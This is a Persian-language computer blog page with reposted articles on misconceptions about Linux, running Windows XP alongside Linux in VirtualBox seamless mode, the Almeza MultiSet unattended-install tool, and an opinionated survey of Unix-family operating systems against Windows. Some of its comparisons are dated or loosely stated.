RED BOY IRAN COMPUTER

» امروز ،

منوي اصلي

نويسندگان

موضوعات

جستجوگر

آمار روزانه سايت

منوي كاربري

عکس تصادفی

خبر نامه

آیدی مدیر

مشخصات شما

جدید ترین ها

لینک های ورودی

انتخاب زبان select language

لوگودونی

لينك دوستان

آرشيو ماهانه

اطلاعيه هاي سايت :
به شما كاربر گرامي سلام عرض مي كنم . اميدوارم در اين وبلاگ دقايقي خوبي را سپري كنيد . براي آگاهي از امكانات اين وبلاگ خواهشمندم كه تا آخر صفحه اين وبلاگ را مشاهده نماييد .

.: تبلیغات:.

:: 10 تصور غلط در مورد لينوکس

10 تصور غلط در مورد لينوکس

لينوکس سيستم عامل نيست

بيشتر کاربران کامپيوتر، تنها از ويندوز به‌عنوان سيستم عامل استفاده کرده‌اند. حتي بسياري نمي‌دانند سيستم‌هاي عامل ديگري مانند ويندوز وجود دارد و اين خوب نيست. ما در زندگي روزمره، دوست داريم انتخاب‌هايمان را در مورد هر چيزي بشناسيم يا انتخاب‌هاي متنوع داشته باشيم؛ چگونگي حرکت از خانه به محل کار، منوي غذا، زمان صرف چاي و... چرا نبايد بدانيم که انتخاب‌هاي ديگري براي سيستم‌عامل وجود دارد و هيچ اجباري در استفاده از ويندوز نيست؟

1- لينوکس يک سيستم عامل است

خير، اين فرض اشتباه است. لينوکس يک هسته (Kernel) است براي سيستم عامل که ويندوز هم چنين هسته‌اي براي خود دارد. ميزان کيفي يک هسته در سيستم‌عامل نقش مستقيم دارد. اگر هسته سيستم‌عامل ضعيف و پرنقص باشد، کل سيستم‌عامل نيز ضعيف و پرنقص خواهد شد. بهترين نام براي سيستم‌عامل لينوکسي، سيستم‌عامل گنو/لينوکس است، چرا که هسته لينوکس بدون همنشيني با پروژه نرم‌افزار گنو به سيستم‌عامل مستقل تبديل نمي‌شد. براي اطلاعات بيشتر، کافي است كرنل را در گوگل جستجو کنيد.

2- لينوکس سيستم‌عامل شبيه DOS است

اين هم فرض اشتباه ديگري است. هر چند لينوکس ابزارهاي زيادي در دل خود دارد که با خط فرمان کار مي‌کنند و اساسا کارها با خط فرمان در لينوکس سريع‌تر انجام مي‌شود، اما پروژه‌هاي جانبي زيادي براي ايجاد يك رابط گرافيکي دلنشين و جذاب مشابه ويندوز وجود دارد. برخلاف ويندوز، اين رابط‌هاي گرافيکي، به‌صورت يک لايه مجزا نسبت به سيستم عامل وجود دارند، به‌اين ترتيب مي‌توانيد هر نوع مديريت ميزکاري که دوست داريد انتخاب کنيد. 2 پروژه بسيار معروف در اين زمينه، KDE و Gnome هستند که هر دو هم کاربران زيادي را به‌سوي خود جلب کرده‌اند؛ گنوم سريع‌تر و کلاسيک‌تر است و نسبت به گنوم، KDE ظاهري زيباتر اما سنگين‌تر دارد.

3- لينوکس براي خوره‌هاي کامپيوتر است

شايد اين جمله، 5سال پيش درست بود، اما بياييد منصفانه قضاوت کنيم، به‌لطف گوگل و ديگر شرکت‌هاي بزرگ تجاري، سيستم‌هاي عاملي چون آندرويد و مابلين در دستگاه‌هاي موبايل، در سطوح بسيار پايين‌تري با کاربر در تماس‌اند و اين نشان مي‌دهد که لينوکس سيستم عامل خاصي نيست.

4- لينوکس با ويندوز همخوان نيست

اين موضوع را نمي‌شود قاطعانه رد کرد. البته لينوکس در بخش‌هايي به‌شدت با ويندوز همخواني دارد. به‌عنوان مثال، مي‌تواند سندهاي مايكروسافت آفيس را به‌سادگي باز کند، ويرايش کند يا نرم‌افزارهاي جايگزين زيادي چون Gimp، Inkscape و ... را به‌عنوان نرم‌افزارهايي ارائه کند که معادل ويندوزي‌شان کاربردهاي زيادي دارد. اما از طرفي، مثلا در مورد مودم‌هاي ديال‌آپ، از آن‌جاکه بيشتر مودم‌هاي ديال‌آپ از نوع WinModem هستند، از توابع سيستم‌عامل ويندوز براي استفاده و ارتباط با سيستم‌عامل استفاده مي‌کنند و اين باعث مي‌شود که کاربران ديال‌آپ از کار با مودم لينوکس شاکي باشند.

5- کسي از لينوکس استفاده نمي‌کند

اين جمله اشتباه است. تمام ساختمان اينترنت روي شانه‌هاي لينوکس واقع است. لينوکس ماژولار و امن است و براي استفاده روي ساختاري که سرتاسر کره زمين را پوشش مي‌دهد، گزينه منطقي‌تري به‌نظر مي‌رسد. بسياري از سازمان‌هاي دولتي و شرکت‌هاي بزرگ به لينوکس پناه آورده‌اند. لينوکس هم ارزان است (مي‌توان گفت رايگان) هم امن. فقط به اين موضوع فكر كنيد که اگر روزي مايکروسافت ورشکسته شود، اطلاعات حياتي خود را چه خواهيد کرد؟

6- لينوکس پشتيباني فني ندارد

اتفاقا، در کسب و کار منبع‌باز، سيستم جالبي که وجود دارد، پشتيباني فني رايگان و پولي است. بسياري از علاقه‌مندان به منبع‌باز در دنيا وجود دارند که در يک پروژه خاص، بسيار ماهر مي‌شوند و تلاش مي‌کنند تا آن را گسترش دهند. از اين رو، اگر شما هم سراغ آن پروژه برويد، ‌مي‌توانيد در اين جوامع آنلاين عضو شويد و سوالات خود را بپرسيد و اگر روزي احساس کرديد که مي‌توانيد، به سوالات بقيه پاسخ بدهيد. همچنين مي‌توانيد با پرداخت مبلغ ناچيزي، پشتيباني فني يکي از شرکت‌هايي را که از پروژه خاصي پشتيباني مي‌کنند تهيه کنيد.

7- نگهداري لينوکس سخت است

شايد اين موضوع 10سال پيش درست بود، ولي هم‌اکنون نگهداري از لينوکس، ساده‌ترين کار ممکن است. نخست اين‌که لينوکس نيازي به مراقبت و نگهداري ندارد، دوم آن‌که با اضافه کردن سيستم‌هاي ارتقاي خودکار، مي‌توانيد آخرين برنامه‌ها و آخرين مولفه‌هاي مختلف سيستم‌عامل را از روي اينترنت دريافت و نصب کنيد؛ بدون آن‌که حتي سيستم را دوباره راه‌اندازي کنيد.

8- لينوکس بازي ندارد

با اين موضوع مي‌شود موافق بود. مايکروسافت با عرضه DirectX تقريبا تمام شرکت‌هاي توليدکننده بازي را به‌سمت خود جذب کرده و جايي براي ديگران باقي نگذاشته که رقابت کنند. هر چند OpenGL تا حدي توانسته است خود را نزديک به ديركت‌اكس بياورد، اما تا امروز، هيچ شرکت بازي‌سازي‌، به‌خودش زحمت نداده نسخه لينوکسي بازي خود را عرضه کند. معروف‌ترين شرکتي که تصميم گرفت بازي‌هاي خود را به لينوکس بياورد، ID Software بود که Doom، Quake 3 و 4 را عرضه کرد.

9- پشتيباني سخت‌افزاري لينوکس ضعيف است

اين موضوع هم از تصورات قديم درباره لينوکس است. بر اساس تحقيق‌هاي انجام شده، لينوکس بيشتر از ويندوز پشتيباني قطعات سخت‌افزاري دارد، اما با چند تا از توليدکننده‌هاي چاپگر و اسکنر مشکل دارد که مي‌توان با دريافت آنلاين درايور، اين مشکل‌ها را هم حل کرد.

10- براي استفاده از لينوکس، بايد ويندوز را فراموش کرد

اين گفته درست نيست. بسياري از توزيع‌هاي لينوکس، روي ديسکي به‌نام ديسک زنده عرضه مي‌شوند. ديسک‌هاي زنده اين قابليت را دارند که بدون نصب، سيستم‌عامل را امتحان کنيد. حتي نسخه‌هاي زنده USB نيز وجود دارند که مي‌توانيد از آن‌ها هم استفاده کنيد. همچنين مي‌توانيد لينوکس را کنار ويندوز نصب کنيد و هر موقع خواستيد از يکي از آن‌ها استفاده کنيد.

همچنين مي‌توانيد با کمک نرم‌افزارهاي ماشين مجازي‌سازي چون VirtualBox، لينوکس را داخل ويندوزتان و برعکس، ويندوز را داخل لينوکس‌تان نصب کنيد و هر دو را همزمان داشته باشيد.

محمدرضا قرباني

نوشته شده توسط محمد جواد در 9:11 قبل از ظهر

نظرات:()

:: اجراي همزمان برنامه‌هاي ويندوز و لينوکس

اجراي همزمان برنامه‌هاي ويندوز و لينوکس

آبي فقط که به يک جو مي‌رود

شرکت سان مايکروسيستمز، هر چند که طي سال گذشته ميلادي با فراز و نشيب‌هاي زيادي روبه‌رو بود، اما يکي از موفق‌ترين نرم‌افزارهاي خود يعني VirtualBox را به ‌بازار عرضه کرد. با کمک اين نرم‌افزار که ماشيني مجازي توليد مي‌کند، مي‌توان چندين سيستم عامل را همزمان اجرا کرد.

تصورش را بکنيد که روي يک دسکتاپ، هم نوار استارت ويندوز را داريد و هم توي لينوکس در حال چرخ زدن هستيد. و يا حتي از آن جالب‌تر اين‌که مي‌توانيد ياهومسنجر و يا آفيس خود را داخل لينوکس باز کنيد، بدون آن‌که نياز به تعويض پنجره يا رفتن به محيط ديگري داشته باشيد و يا حتي کليپ‌بورد خود را بين دو سيستم عامل به اشتراک بگذاريد.

تمامي اين‌ها با ويرچوال‌باکس ممکن است. اين نرم‌افزار از فناوري SeamlessRDP استفاده مي‌کند. اين فناوري براي پشتيباني ويندوزي از rdesktop طراحي شده است و کليه پنجره‌هاي X11 را مي‌تواند براي هر پنجره ويندوزي طراحي کند.

پيش‌نيازها

قبل از هر چيز بايد آخرين نسخه ويرچوال‌باکس را تهيه کنيد. براي نصب ويرچوال‌باکس، مي‌توانيد از طريق مدير بسته‌هاي نرم‌افزاري توزيع خود، يا از طريق دستور زير، آن را نصب کنيد:

# apt-get install virtualbox-3.0

(توجه کنيد که علامت # به اين معني است که بايد حتما با دسترسي ريشه (root) وارد شده باشيد.) پس از نصب ويرچوال باکس، مي‌توانيد آن را داخل منوي System Tools پيدا و اجرا کنيد.

يکپارچه‌سازي

حالا مي‌خواهيم ماشيني مجازي براي ويندوز اکس‌پي بسازيم. مي‌توانيد همين کار را براي ديگر نسخه‌هاي ويندوز هم انجام دهيد، اما ويندوز اکس‌پي، سبک و سريع است و هنوز از دور خارج نشده است، بنابراين گزينه اول ما براي اجراي ويندوز مجازي، ويندوز اکس‌پي است.

براي راه‌اندازي ويرچوال‌باکس، کافيست روي گزينه New کليک کنيد. گزينه OS Type را ويندوز اکس‌پي انتخاب كنيد. ميزان حافظه RAM که مي‌خواهيد با آن ماشين مجازي به‌اشتراک بگذاريد را در مرحله بعدي وارد کنيد. 512مگابايت به بالا گزينه بهتري است.

در مرحله بعدي بايد ديسک سخت خود را مشخص کنيد، پيشنهاد مي‌كنم گزينه Dynamically Expanding Image را انتخاب کنيد که مطابق با مصرف‌تان در ويندوز، حجم ماشين مجازي‌تان گسترده شود. براي نصب از طريق ديسک سي‌دي، حتما خاطر‌تان باشد که بايد سي‌دي‌رام را براي ماشين مجازي فعال کنيد. اين کار از طريق تنظيمات انجام مي‌شود.

بعد از اين‌که عمليات نصب به اتمام رسيد و ويندوز بالا آمد، به مسير زير برويد:

Start -» Run -» ‘regedit’

پنجره ويرايشگر رجيستري باز مي‌شود. به مسير زير برويد:

HKEY_CURRENT_USER-»Software-»Microsoft-»

Current Version -» Policies -» Explorer

و بعد در پنل سمت راست کليک راست کنيد و متغير جديدي از نوع DWORD بسازيد. نام آن را NoDesktop بگذاريد و مقدار آن را به 1 تغيير دهيد.

اين کار را براي اين انجام داديم که ميزکار سيستم عامل مهمان نشان داده نشود و فقط تسک‌بار و منوي استارت آن ديده شود. حال ممکن است ويرچوال‌باکس از شما سوال بپرسد و بخواهد چيزي را به‌عنوان Guest Addition نصب کند. اين بسته براي حرکت نرم ماوس ميان سيستم‌ عامل‌هاي ميزبان و مهمان است. کافي است آن را نصب کنيد و دستورات آن را دنبال کنيد تا عمليات نصب به پايان برسد.

وقتي نصب به اتمام رسيد، يک بار سيستم را از طريق ويندوز اکس‌پي خاموش کنيد. دوباره آن را راه‌اندازي کنيد و وقتي کاملا بالا آمد، از طريق منوي ماشين، گزينه Seamless Mode را انتخاب کنيد. حالا خواهيد ديد که تسک‌بار ويندوز روي ميزکار لينوکس‌تان نشان داده مي‌شود و مي‌توانيد به‌سادگي با هر دو سيستم عامل، به‌طور همزمان کار کنيد. توجه داشته باشيد که به‌اين روش مي‌توانيد نرم‌افزارهاي ويندوزي غيرقابل اجرا روي لينوکس از جمله آفيس2007 را هم در لينوکس خود داشته باشيد.

شايان اسدي

نوشته شده توسط محمد جواد در 1:16 قبل از ظهر

نظرات:()

:: نصب خودكار سيستم‌عامل و نرم‌افزارها

نصب خودكار سيستم‌عامل و نرم‌افزارها
لطفا دخالت نكنيد!

تا چند وقت پيش و قبل از آن‌كه سرويس‌پك شماره3 ويندوز اكس‌پي روانه بازار شود، ويندوزهايي در بازار به فروش مي‌رفت كه تحت عنوان ويندوز اكس‌پي سرويس‌پك3 شناخته مي‌شدند. اگر آنها را خريداري و نصب كرده باشيد، مطمئنا ديده‌ايد كه اين ويندوزها در اصل سرويس‌پك 3 نيستند اما تغييراتي در ظاهر آنها داده شده است كه آنها را زيباتر و روان‌تر كرده است. همچنين در برخي از آنها نيز عمليات نصب به‌طور خودكار انجام مي‌گيرد و در برخي ديگر نيز همزمان با نصب سيستم‌عامل، چندين نرم‌افزار مهم و كاربردي نصب مي‌شود. ‌ ‌

فقط براي تو

تا‌‌به‌حال به اين فكر كرده‌ايد كه شما هم يك ويندوز مخصوص خودتان بسازيد؟ فرض كنيد در يك مغازه ارائه‌دهنده خدمات رايانه‌اي مشغول به كار هستيد و مي‌خواهيد روي تمام ويندوزهايي كه نصب مي‌كنيد، چندين نرم‌افزار عمومي و حتي چند بازي يا ... را نيز نصب كنيد. براي انجام اين كار از روش خاصي استفاده مي‌كنيد؟ يا شايد مثل اكثر كاربران ابتدا ويندوز را نصب كرده سپس برنامه‌هاي مورد نظرتان را تك‌‌‌تك نصب مي‌كنيد؟ به نظر شما بهتر نيست يك ويندوز با توجه به نيازها و سلايق خودتان براي استفاده در اين موارد آماده كنيد تا نه تنها هنگام نصب ويندوز از شما سريال، زمان، تاريخ و ... درخواست نشود و تمام عمليات نصب به‌طور خودكار به انجام برسد، بلكه نرم‌افزارهاي مورد نظرتان نيز همراه با نصب ويندوز روي سيستم‌عامل نصب شوند.

راهبر نصب خودكار

اگر با خواندن اين بخش از مقاله به انجام چنين كاري علاقه‌مند شده‌ايد اما فكر مي‌كنيد براي انجام اين كار بايد حرفه‌اي باشيد، پيشنهاد مي‌كنيم ادامه مطالب را نيز بخوانيد. چرا كه نرم‌افزار پيشنهادي اين هفته ما يعني ‌Almeza MultiSet‌ به شما اين امكان را مي‌دهد تا چنين كاري را به راحتي آب خوردن انجام دهيد! از اين نرم‌افزار كه به‌عنوان يك راهبر در ميان ابزارهاي ايجاد برنامه‌هاي داراي قابليت نصب خودكار به شمار مي‌رود، مي‌توانيد براي ساخت ديسك‌هاي نصب هوشمند سيستم‌عامل استفاده كنيد. با در اختيار داشتن چنين ديسك‌هايي مي‌توانيد‌بدون مشاهده سوال‌هاي مختلفي همچون شماره سريال، تاريخ، زمان و ديگر تنظيمات پيش‌فرض، ويندوز مورد نظرتان همراه با برنامه‌هاي مورد علاقه به اضافه سرويس‌پك‌هاي موجود تا آن تاريخ را روي رايانه نصب كنيد.

برخي از قابليت‌ها و امكانات اين نرم‌افزار قدرتمند عبارتند از:

1– نصب خودكار ويندوز:‌ ‌به كمك اين برنامه مي‌توانيد ديسك‌هايي را ايجاد كنيد كه از آنها براي نصب خودكار ويندوز روي هر رايانه‌اي مي‌توان استفاده كرد. نصب اين ويندوزها به‌صورت نصب جديد و نصب روي ويندوز قبلي امكان‌پذير است. ‌ ‌

2– نصب خودكار نرم‌افزارها:‌ ‌اگر مي‌خواهيد پس از نصب ويندوز، نرم‌افزارهايي را به‌طور خودكار و سريع، بدون وارد كردن شماره سريال، انجام مراحل تنظيمات خاص و ... روي رايانه‌هاي مورد نظرتان نصب كنيد، مي‌توانيد از اين برنامه استفاده كنيد. ساخت ديسك‌هاي نصب خودكار نرم‌افزارهاي مختلف، از ديگر قابليت‌هاي اين برنامه است.

3– ساخت ديسك‌هاي راه‌انداز:‌‌ساخت ديسك‌هاي راه‌انداز ويندوز يا همان بوت ديسك‌‌ها، از قابليت‌هاي بسيار كاربردي در اين نرم‌افزار است. به كمك اين قابليت مي‌توانيد از تركيب موارد 1 و 2 همزمان با هم استفاده كنيد. يعني ديسك‌هايي بسازيد كه نه تنها نصب ويندوز به وسيله آنها به‌طور خودكار انجام مي‌شود، بلكه همزمان با نصب ويندوز، نرم‌افزارهاي مورد علاقه شما نيز روي رايانه نصب مي‌شود. به اين ترتيب وقتي مراحل نصب ويندوز به پايان مي‌رسد مشاهده مي‌كنيد كه نرم‌افزارهاي موردنظرتان نيز روي آن نصب شده است و نياز به انجام هيچ تنظيمات خاصي براي استفاده از رايانه وجود ندارد!

4– بازيافت خودكار:‌گاهي اوقات بازيابي اطلاعات رجيستري يا تنظيمات اعمال شده روي بخش‌ها و نرم‌افزارهاي مختلف مي‌تواند مشكلات بسيار زيادي را حل كند. از ديگر امكانات موجود در اين برنامه نيز قابليت بازگرداني اطلاعات رجيستري، تنظيمات نرم‌افزارها و ... است.

راه‌كارهاي سازماني

استفاده از اين برنامه براي كاربران عادي نوعي پيشنهاد به‌حساب مي‌آيد اما اگر شما مدير انفورماتيك يك اداره يا سازمان هستيد توصيه مي‌كنيم از اين برنامه استفاده كنيد چرا كه به كمك اين برنامه به شكل اعجاب‌آوري در زمان شما صرفه‌جويي مي‌شود. به كمك اين برنامه براي اعمال يك تغيير خاص روي سيستم‌عامل تمام كاربران نيازي نيست تا پشت هر رايانه قرار بگيريد يا تمام آنها را تك‌‌‌تك تنظيم كنيد. بلكه مي‌توانيد با كنترل همه جانبه و از راه دور توسط اين برنامه، تغييرات مورد نظر را با يك كليك روي هر تعداد رايانه كه بخواهيد، اعمال كنيد. به‌عنوان مثال، فرض كنيد قصد داريد يك نرم‌افزار پيام‌رسان جديد را روي رايانه تمام كاربران نصب كنيد تا از اين پس بتوانند در شبكه داخلي سازمان به گفتگو با يكديگر بپردازند. اگر رايانه‌هاي موجود در سازمان فقط 50 عدد باشد و براي نصب نرم‌افزار روي هر رايانه نيز يك دقيقه زمان لازم باشد، بدون احتساب زمان حركت تا قرارگيري پشت رايانه‌ها و ديگر زمان‌هاي مورد نياز، حداقل 50دقيقه زمان نياز است تا اين كار را به انجام برسانيد. در صورتي‌كه با استفاده از اين برنامه كافيست فايل نصب را آماده كنيد سپس با يك كليك و در همان مدت زمان يك دقيقه‌اي عمليات نصب روي 50 رايانه، يا حتي 5000 رايانه را به اتمام برسانيد!

اين نرم‌افزار داراي حجمي معادل 3/5 مگابايت است و بيش از 27 زبان مختلف از جمله زبان فارسي را پشتيباني مي‌كند. براي استفاده از اين برنامه و آشنا شدن با ديگر امكانات و قابليت‌هاي منحصر‌به‌فرد آن مي‌توانيد به سايت زير مراجعه كرده و نسخه محدود شده آن را به‌طور رايگان دانلود كنيد:

http://www.almeza.com

محدوديت‌هاي موجود در نسخه رايگان: ‌ ‌

– وجود عبارت [‌Unregistered version‌] در نوار عنوان پنجره نرم‌افزار ‌ ‌

– امكان نصب حداكثر 7نرم‌افزار به‌طور خودكار

– عدم امكان ايجاد ديسك راه‌انداز براي نصب خودكار ويندوز و نرم‌افزارها به‌طور همزمان

– استفاده محدود به مدت 30روز

امير عصاري

نوشته شده توسط محمد جواد در 12:24 بعد از ظهر

نظرات:()

:: از ويندوز خسته شده‌ايد؟

از ويندوز خسته شديد؟ مي‌توان بهتر كار و زندگي كرد، آن هم بدون ويندوز و با جايگزيني كه سرآمد سيستم‌عامل‌هاي ديگر است.

در آغاز كار رايانه‌ها، كاربران آنها مي‌بايست با زبان ماشين آشنايي كاملي مي‌داشتند تا بتوانند با يك رايانه كه شكل آن با انواع امروزي بسيار متفاوت بود، كار كنند. زبان ماشين چيزي است مانند كارت‌هايي كه چند سال پيش به صورت نواري وارد دستگاه‌ها مي‌شد.
اين كار هم به اين دليل بود كه انسان با سخت‌افزار كه همان قطعات الكترونيكي رايانه هستند، نمي‌تواند براحتي ارتباط برقرار كند؛ چراكه اصولا رايانه فقط زبان ماشين مي‌داند و نه چيز ديگري.

كم‌كم با گسترش كاربري رايانه‌ها براي مشاغل بزرگ، سازندگان به فكر برقراري ارتباط راحت‌تر ميان انسان و رايانه افتادند و همين امر باعث شد با استفاده از زبان‌هاي برنامه‌نويسي نزديك با زبان ماشين شروع به طراحي واسطي براي اين امر كردند و بالاخره واسطي به نام سيستم‌عامل (Operating System) پا به عرصه فناوري گذاشت. به زبان ساده مي‌توان گفت سيستم‌عامل رابط انسان است با سخت‌افزار.

با نگاهي كلي چند سيستم‌عامل قدرتمند خواهيد ديد كه چيزي مانند ويندوز، جايي در ميان بزرگان و اهل فن ندارد.

يكي از قدرتمندترين و زيربنايي‌ترين سيستم‌عامل‌هاي امروزي يونيكس است. يونيكس، سيستم‌عاملي است كه اواخر دهه 60 ميلادي به دست گروهي از كاركنان AT&T (سازمان تلگراف و تلفن آمريكا) در لابراتوار بل (Bell) متولد شد. سيستم‌هاي يونيكس امروزي به انواع گوناگوني تقسيم مي‌شوند كه در طول سال‌ها توسط خود AT&T و بسياري از شركت‌ها و گروه‌ها در سراسر جهان گسترش يافته‌‌اند.

از سال 2007، يك كنسرسيوم استانداردهاي صنعتي به نام The Open Group صاحب نام تجاري UNIX است. امروزه يونيكس چيزي بيشتر از يك سيستم‌عامل شده است؛ يعني چيزي در حد يك استاندارد.

سيستم‌هايي كه به طور كامل همسان و مبتني بر قوانين Single Unix Specification هستند، مجاز به استفاده از اين نام تجاري شناخته مي‌شوند و بقيه سيستم‌ها در طبقه‌بندي شبه‌يونيكس (Unix-like) جايدهي مي‌شوند.

در دهه‌هاي 70 و اوايل 80، تاثير يونيكس در محافل دانشگاهي موجب خيزش بزرگي از آن در گرايش‌هاي تجاري نيز شد كه از مهم‌ترين آنان مي‌توان به نسخه‌هايي چون Solaris از شركت Sun Microsystems و يا UX HP و حتي IBM AIX اشاره كرد كه از سيستم‌هاي تاييد شده و كلاسيك يونيكس به شمار مي‌روند و علاوه بر سيستم‌هاي تاييد شده يونيكس مانند Apple Mac OSX، سيستم‌هاي شبه‌يونيكس هم بسيار پرطرفدار هستند كه از جمله آنها مي‌توان به سيستم‌عامل‌هاي معروفي چون Linux‌ ها يا BSD ها اشاره كرد.

گاهي اوقات يونيكس سنتي ممكن است به منظور توضيح و تفسير يكي از نسخه‌هاي يونيكس و يا سيستم ‌عامل ‌هايي كه يكي از ويژگي‌هاي Unix 7Version يا 5 Unix System را دارند، مورد استفاده قرار گيرند. خوب است بدانيد ساختمان يونيكس بر پايه زبان برنامه‌نويسيc بنا نهاده شده است.

لينوكس

لينوكس نه يك سيستم‌عامل كامل بلكه نام هسته سيستم‌عامل است و به طور كلي مي‌توان گفت اين نامي است كه به سيستم‌عامل‌هاي شبه‌يونيكس كه براساس هسته لينوكس هستند، اطلاق مي‌شود و فراموش نكنيد كه هسته سيستم‌عامل يعني اصلي‌ترين بخش آن.

اين سيستم‌عامل نماد و سرآمد سيستم‌هاي متن باز است و تمامي وجوه آن بر اساس استانداردهاي گنو GNU ساخته شده است. از طرفي اين سيستم، منبعي براي نرم‌افزارهاي رايگان نيز است و نسخه‌هاي سرور و كلاينت آن اغلب رايگان است و تنها در موارد بسيار خاص كه براي كارهاي موردي تهيه شده است، رايگان نيست؛ اما استفاده از آن لذت استفاده از يك سيستم‌عامل امن و پايدار و رايگان را برايتان فراهم خواهد كرد.

اين سيستم‌عامل با انواع سخت‌افزارها نيز سازگار بوده و مي‌توان آن را روي ساده‌ترين رايانه‌ها نيز نصب كرد و نياز چنداني به سخت‌افزارهاي قدرتمند ندارد. لينوكس گسترش عرضه خود روي رايانه‌هاي روميزي، سرور، همراه و حتي موبايل را مديون نسخه محبوب ابونتو (Ubuntu) است.

ابونتو براساس نسخه دبيان بنا نهاده شده است. از نكات مهم و جذاب آن مي‌توان به موارد زير اشاره كرد. آساني مراحل نصب، زيبايي مراحل گرافيكي، پشتيباني اينترنتي قدرتمند و گسترده. البته اين سيستم‌عامل هم بي‌عيب نيست و هنوز براي كاربران معمولي مناسب نيست.

لينوكس در حقيقت يك پروژه دانشگاهي بود كه لينوس تروالدز آن را آغاز كرد و با درخواست همكاري او از همه، در مدت كوتاهي يك سورس 500 خطي به يك سيستم‌عامل قدرتمند و به بنياد لينوكس تبديل شد كه امروزه در جاي خود بي‌رقيب است. نسخه‌هاي اصلي و كاربردي لينوكس را با نام‌هاي Debian، Novell OpenSuse IBM ، RedHat Linux،RedHat Fedora Core، Ubuntu، Sun Microsystems OpenSolaris، Xandros، Arch Linux وCentOS Enterprise Linux مي‌توانيد بيابيد .

سولاريس چيست؟

سولاريس، يكي ديگر از فرزندان خانواده يونيكس است. سيستم‌عامل‌هاي Solaris وOpenSolaris با وجود تفاوت‌هاي فراوان، هر دو از محصولات شركت Sun Microsystems و بر پايه يونيكس هستند. اين سيستم‌عامل به عنوان يكي از مقياس‌پذيرترين (قابل حجيم شدن) سيستم‌عامل‌هاست، بخصوص در SPARC.

اين خاصيت اين امكان را به سيستم‌عامل مي‌دهد تا براساس نياز و بدون محدوديت حجم پردازش‌ها و ورودي و خروجي‌ها را گسترش دهد، بدون آن كه دچار اختلال شود. براي درك بهتر اين خاصيت، ويندوزي را تصور كنيد كه چند برنامه را مي‌خواهد با هم اجرا كند، زياد منتظر جواب نباشد ويندوز هنگ كرده است...

نسخه‌اي كه تمام كاستي‌هاي يك سيستم‌عامل را كنار گذاشته و جاي آن را قابليت‌هاي زيبا و مثال‌زدني پركرده است، سيستم‌عامل مك ايكس‌ محصول شركت اپل مكينتاش استسولاريس نيز از جمله سيستم‌عامل‌هايي است كه داراي لايسنس Single Unix Specification هستند و به همين دليل از نسخه‌هاي يونيكس به حساب مي‌آيد. OpenSolaris نيز يك نمونه لينوكسي اين سيستم‌عامل است كه كار سرورهاي كوچك را بسيار قدرتمند انجام مي‌دهد؛ اما اين ويرايش نيز به درد كاربران خانگي نمي‌خورد.

نسخه 10 سيستم‌عامل Solaris آخرين نسخه ارائه شده توسط شركت SUN است كه البته نياز شديدي به كاربرپسند شدن دارد. اين نسخه، نمونه كاملي از يك سيستم‌عامل پايدار است.

BSD

اين كلمه مخفف Berkeley Software Distribution است. اين سيستم‌عامل، توليد گروه تحقيقات سيستم‌هاي كامپيوتري دانشگاه بركلي كاليفرنياست. امروزه نام
BSD، معمولا به سيستم‌عامل‌هاي برگرفته شده از آن اتلاق مي‌شود. FreeBSD، NetBSD و OpenBSD نمونه‌اي از معروف‌ترين اعضاي اين خانواده هستند.

اين سيستم‌عامل به دليل توانمندي در اداره امنيت و مديريت مستقل برنامه‌ها از هسته سيستم‌عامل قابليت مقاومت در برابر حملات و نقايص منطقي، به عنوان يكي از بهترين گزينه‌ها براي مديران شبكه‌هاي پركاربر مطرح است.

در كاربردي بودن اين نسخه از يونيكس همين بس كه بدانيد شركت ياهو براي مديريت سايت yahoo.com از نسخه FreeBSD استفاده مي‌كند.

سيبي به زيبايي Mac OS X

نسخه‌اي كه تمام كاستي‌هاي يك سيستم‌عامل را كنار گذاشته و جاي آن را قابليت‌هاي زيبا و مثال‌زدني پر كرده است، سيستم‌عامل مك ايكس، محصول شركت اپل مكينتاش است.

مك به عنوان اولين سيستم‌عامل گرافيكي، خاطره‌اي زيبا را در ذهن كاربران زنده مي‌كند و يادآوري اين براي دوستداران ويندوز لازم است كه بيل گيتس، موسس شركت مايكروسافت در سال1983، در كنفرانس بين‌المللي شركت Apple گفت: به نظر من، تنها كامپيوترهايي كه تمام استانداردهاي ممكن را دارند، كامپيوترهاي توليد شده توسط شركت Apple هستند.

OSX سيستم‌عاملي است كه طراحي آن را شركت Apple به پايان رسانده و چند سالي است كه در تمام انواع كامپيوترهاي توليد اين شركت مورد استفاده قرار گرفته است. اين نسخه از مك بعد از نسخه 9 آن عرضه شد.

كاربردي بودن اين سيستم‌عامل را مي‌توانيد از كاربران اين سيستم‌ها جويا شويد. نوع نگرش كاربراني كه اپل را جزيي از خانواده خود مي‌دانند، گوياي بي‌نظير بودن اين سيستم‌عامل است.

حرف X در نام اين نسخه بيانگر عدد 10 در اعداد رومي است و از طرفي مجهول بودن هويت آن را مي‌رساند؛ چراكه هويت آن با انواع قبلي اين سيستم‌عامل كاملا متفاوت است. اين سيستم‌عامل بر پايه فناوري ابداعي شركت سابق مديرعامل اپل يعني استيو جابز است.

نام آن شركت next بود و بعدها توسط اپل خريداري شد. Nextstep فناوري اين شركت بود كه در واقع امروزه به عنوان هسته سيستم‌عامل مك به كار مي‌رود، اين فناوري يك سيستم‌عامل شي‌ءگرا را اجرايي كرده است.

Mac OS X بر پايه هسته تركيبي بنا شده و قسمت‌هاي مشخصي از سيستم‌عامل‌هاي FreeBSD و NetBSD در آن به كار رفته است. آخرين نسخه بارگزاري شده اين سيستم‌عامل نسخه 7، 5، 10 است كه به علت سازگاري با پردازشگرهاي اينتل توانسته است امكان نصب ساير سيستم‌عامل‌ها را روي سخت‌افزارهاي اپل فراهم كند. اين نسخه از سيستم‌عامل داراي گواهينامه 03 UNIX است بنابراين از نسخه‌هاي مستقيم يونيكس محسوب مي‌شود.

نوع سرور اين سيستم‌عامل نيز همگام با نسخه كلاينت آن چندسالي است كه با نام‌هاي خاص خود وارد بازار شده است. اين سيستم‌عامل‌ها با نام‌هاي Tiger و Leopard به بازار عرضه شده‌اند.

به‌روزرساني اين سيستم‌عامل‌ها روي سيستم‌هاي خود اين شركت رايگان است و تقريبا هر 2 ماه نسخه جديد آن را مي‌توانيد به آساني دريافت و نصب كنيد. همچنين اين سيستم‌عامل در نسخه نهايي خود كاملا با زبان فارسي سازگار و هماهنگ است و براي تمام كارها نيز نرم‌افزارهاي رايگان زيادي دارد كه مي‌توانيد استفاده كنيد.

اين سيستم‌عامل در نسخه‌هاي مختلفي براي آيفون، آي‌پاد و اپل تي‌وي عرضه شده است و نسخه ديگر آن نيز قرار است اوايل پاييز ارائه شود.

با وجود سيستم‌عامل‌هايي اينچنين قدرتمند و رايگان، جايي براي ويندوز ناامن و ناپايدار باقي نمي‌ماند.

